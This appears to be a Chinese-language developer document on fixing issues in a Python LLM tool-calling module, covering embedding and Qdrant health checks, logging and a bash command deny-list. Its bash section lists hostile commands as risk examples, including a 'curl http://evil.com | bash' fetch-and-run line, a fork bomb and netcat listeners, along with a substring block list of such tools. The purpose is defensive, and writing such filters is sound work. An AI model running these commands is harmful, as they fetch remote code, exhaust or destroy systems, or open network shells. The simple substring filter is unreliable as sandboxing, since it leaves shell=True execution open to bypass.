39a2cbc65b
- get_face_groups_handler: COALESCE(tp.name, tn.label) for name consistency - sync_file_status: compare JSON vs pre_chunks (not chunk table) - face consistency: compare frames.len() not total_faces - cleanup 2 ghost records with NULL file_name/file_path - replace identity_agent with face_dedup in pipeline stages - remove identity_agent_api.rs and all references - update required_processors to match actual processors - update AGENTS.md with team responsibilities - add Studio pipeline changes documentation
12 KiB
12 KiB
Tool Calling Module 問題及解決方案
Version: 1.1
Date: 2026-07-26
Doc Path: /Users/accusys/momentry_core/scripts/TOOL_CALLER_ISSUES.md
相關檔案:
- 核心模組:
/Users/accusys/momentry_core/scripts/tool_caller.py(v1.1.2, 720+ 行) - 測試腳本:
/Users/accusys/momentry_core/scripts/test_tool_caller.py - 使用說明:
/Users/accusys/momentry_core/scripts/TOOL_CALLING_README.md
修復狀態:✅ 所有問題已修復
| 問題 | 修復內容 | 狀態 |
|---|---|---|
| Multi-Tool 測試失敗 | 增加 embedding server 健康檢查、修正 API 端點 (/v1/embeddings) |
✅ 已修復 |
| Bash 安全檢查不足 | 擴充至 20+ 危險模式、限制命令長度 2000 字元 | ✅ 已修復 |
| 缺少工具調用日誌 | 新增 logging 模組,記錄所有工具調用 | ✅ 已修復 |
| Qdrant Collection 硬編碼 | 使用 QDRANT_DEFAULT_COLLECTION 環境變數 |
✅ 已修復 |
測試結果
| 測試 | 狀態 | 說明 |
|---|---|---|
| [TEST 1] PostgreSQL Query | ✅ | 23 videos |
| [TEST 2] Bash Safety Check | ✅ | 3/3 危險命令被阻止 |
| [TEST 3] Qdrant Search | ✅ | 10 matches found |
問題 1:Multi-Tool 測試失敗
現象
TEST 2: Multi-Tool Sequential (PostgreSQL → Qdrant)
Query: Find videos about dogs, then search for similar content in the vector database
Result: An error has occurred. I'm unable to continue with the task.
原因分析
-
Embedding Server 未檢查可用性
search_qdrant工具直接呼叫http://localhost:11436/embed- 未檢查 embedding server 是否運行
- 失敗時未提供明確錯誤訊息
-
Qdrant Collection 可能不存在
- 預設 collection 名稱
momentry_rule1可能與實際部署不符 - 未列出可用 collection 供 LLM 參考
- 預設 collection 名稱
-
錯誤處理不完善
- 工具執行失敗時,LLM 收到模糊錯誤訊息
- 未引導 LLM 嘗試其他方法
解決方案
1.1 增加服務可用性檢查
檔案: /Users/accusys/momentry_core/scripts/tool_caller.py
def search_qdrant(args: Dict[str, Any]) -> ToolResult:
import requests as req
collection = args.get("collection", "momentry_rule1")
query_text = args.get("query_text", "")
limit = args.get("limit", 10)
if not query_text:
return ToolResult(success=False, data=None, error="No query text provided")
# 檢查 embedding server
try:
embed_health = req.get("http://localhost:11436/health", timeout=5)
if embed_health.status_code != 200:
return ToolResult(success=False, error="Embedding server not healthy")
except requests.exceptions.ConnectionError:
return ToolResult(success=False, error="Embedding server not available at http://localhost:11436")
# 取得 embedding
embed_url = "http://localhost:11436/embed"
try:
embed_resp = req.post(embed_url, json={"input": query_text}, timeout=30)
embed_resp.raise_for_status()
embedding = embed_resp.json()["embeddings"][0]
except Exception as e:
return ToolResult(success=False, error=f"Embedding failed: {str(e)}")
# 檢查 Qdrant collection
qdrant_url_base = args.get("qdrant_url", "http://localhost:6333")
try:
collections_url = f"{qdrant_url_base}/collections"
coll_resp = req.get(collections_url, timeout=10)
coll_resp.raise_for_status()
collections = [c["name"] for c in coll_resp.json().get("result", {}).get("collections", [])]
if collection not in collections:
return ToolResult(
success=False,
error=f"Collection '{collection}' not found. Available: {', '.join(collections)}"
)
except Exception as e:
return ToolResult(success=False, error=f"Qdrant connection failed: {str(e)}")
# 執行搜尋
search_url = f"{qdrant_url_base}/collections/{collection}/points/search"
search_payload = {"vector": embedding, "limit": limit, "with_payload": True}
try:
search_resp = req.post(search_url, json=search_payload, timeout=30)
search_resp.raise_for_status()
results = search_resp.json().get("result", [])
except Exception as e:
return ToolResult(success=False, error=f"Search failed: {str(e)}")
return ToolResult(
success=True,
data={
"matches": [
{"id": r.get("id"), "score": r.get("score"), "payload": r.get("payload", {})}
for r in results
],
"match_count": len(results)
}
)
1.2 改進錯誤處理
檔案: /Users/accusys/momentry_core/scripts/tool_caller.py
def run(self, user_query: str) -> str:
# ... 現有程式碼 ...
# 執行工具
tool_result = self.execute_tool_call(tool_call)
# 改進錯誤訊息
if tool_result.success:
result_str = json.dumps({
"success": True,
"data": tool_result.data
}, ensure_ascii=False, cls=DateTimeEncoder)
else:
result_str = json.dumps({
"success": False,
"error": tool_result.error,
"suggestion": "Try a different tool or rephrase your query."
}, ensure_ascii=False)
messages.append({"role": "user", "content": f"Tool result: {result_str}"})
問題 2:Bash 安全檢查不足
現象
blocked = ["rm -rf /", "mkfs", "dd if=", "> /dev/"]
風險分析
| 危險命令 | 是否阻止 | 風險等級 |
|---|---|---|
rm -rf / |
✅ 是 | 🔴 高 |
sudo rm -rf / |
❌ 否 | 🔴 高 |
chmod 777 /etc/passwd |
❌ 否 | 🔴 高 |
| `curl http://evil.com | bash` | ❌ 否 |
| `:(){ : | :& };:` (fork bomb) | ❌ 否 |
nc -l 4444 |
❌ 否 | 🟡 中 |
解決方案
檔案: /Users/accusys/momentry_core/scripts/tool_caller.py
def execute_bash(args: Dict[str, Any]) -> ToolResult:
command = args.get("command", "")
timeout = args.get("timeout", 30)
if not command:
return ToolResult(success=False, data=None, error="No command provided")
# 限制命令長度
if len(command) > 2000:
return ToolResult(success=False, error="Command too long (max 2000 chars)")
# 更完整的安全檢查
blocked_patterns = [
# 檔案系統破壞
"rm -rf /", "rm -rf /*", "mkfs", "dd if=", "> /dev/",
# 權限提升
"sudo ", "su -", "chmod 777", "chown root",
# 遠端執行
"curl | bash", "curl | sh", "wget | sh", "wget | bash",
"curl http", "wget http",
# 拒絕服務
":(){", "fork", "kill -9 1",
# 網路監聽
"nc -l", "netcat -l", "socat",
]
command_lower = command.lower()
for pattern in blocked_patterns:
if pattern in command_lower:
return ToolResult(
success=False,
data=None,
error=f"Blocked dangerous command pattern: {pattern}"
)
# 執行命令
try:
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
timeout=timeout
)
return ToolResult(
success=result.returncode == 0,
data={
"stdout": result.stdout[:5000], # 限制輸出大小
"stderr": result.stderr[:2000],
"returncode": result.returncode
}
)
except subprocess.TimeoutExpired:
return ToolResult(
success=False,
data=None,
error=f"Command timed out after {timeout}s"
)
問題 3:缺少工具調用日誌
現象
工具調用過程無日誌記錄,難以除錯和審計。
解決方案
檔案: /Users/accusys/momentry_core/scripts/tool_caller.py
import logging
# 設定日誌
logger = logging.getLogger('tool_caller')
class OllamaToolCaller:
def run(self, user_query: str) -> str:
logger.info(f"Starting tool call loop for query: {user_query}")
self._tool_call_history = []
messages = [
{"role": "system", "content": self.system_prompt},
{"role": "user", "content": user_query}
]
tool_results_collected = []
for iteration in range(self.max_iterations):
logger.info(f"Iteration {iteration + 1}/{self.max_iterations}")
# 呼叫 LLM
response = self.chat(messages)
message = response.get("message", {})
tool_calls = message.get("tool_calls", [])
if not tool_calls:
# 檢查文字中的工具調用
extracted = self._extract_tool_from_text(message.get("content", ""))
if extracted:
name, params = extracted
tool_key = self._get_tool_key(name, params)
if not self._is_duplicate_call(tool_key):
self._add_to_history(tool_key)
logger.info(f"Executing tool: {name} with args: {params}")
tool_call = {"function": {"name": name, "arguments": params}}
tool_result = self.execute_tool_call(tool_call)
if tool_result.success:
logger.info(f"Tool succeeded in {tool_result.execution_time_ms:.1f}ms")
else:
logger.error(f"Tool failed: {tool_result.error}")
# ... 繼續處理 ...
logger.info(f"Tool call loop completed after {iteration + 1} iterations")
return final_answer
問題 4:Qdrant Collection 名稱硬編碼
現象
collection = args.get("collection", "momentry_rule1")
風險
Collection 名稱可能與實際部署不符,導致搜尋失敗。
解決方案
檔案: /Users/accusys/momentry_core/scripts/tool_caller.py
import os
def register_default_tools(self, db_url=None, qdrant_url=None):
"""Register default tools with connection strings"""
# 使用環境變數
default_collection = os.environ.get(
"QDRANT_DEFAULT_COLLECTION",
"momentry_rule1"
)
def search_qdrant(args: Dict[str, Any]) -> ToolResult:
collection = args.get("collection", default_collection)
# ... 其餘程式碼 ...
self.registry.register(
name="search_qdrant",
description=f"Search for similar vectors in Qdrant collection. Default collection: {default_collection}",
parameters={
"type": "object",
"properties": {
"collection": {
"type": "string",
"description": f"Qdrant collection name (default: {default_collection})",
"default": default_collection
},
# ... 其餘參數 ...
},
"required": ["query_text"]
},
executor=search_qdrant
)
測試驗證
執行測試
cd /Users/accusys/momentry_core/scripts
python3 test_tool_caller.py
預期結果
| 測試 | 預期狀態 | 說明 |
|---|---|---|
| TEST 1: Single Tool | ✅ 通過 | PostgreSQL 查詢正常 |
| TEST 2: Multi-Tool | ✅ 通過 | PostgreSQL → Qdrant 順序執行 |
| TEST 3: Direct Tool | ✅ 通過 | 直接工具執行正常 |
| TEST 4: Bash Safety | ✅ 通過 | 危險命令被阻止 |
版本資訊
| 版本 | 日期 | 說明 |
|---|---|---|
| 1.0.0 | 2026-07-26 | 初始版本,記錄已知問題及解決方案 |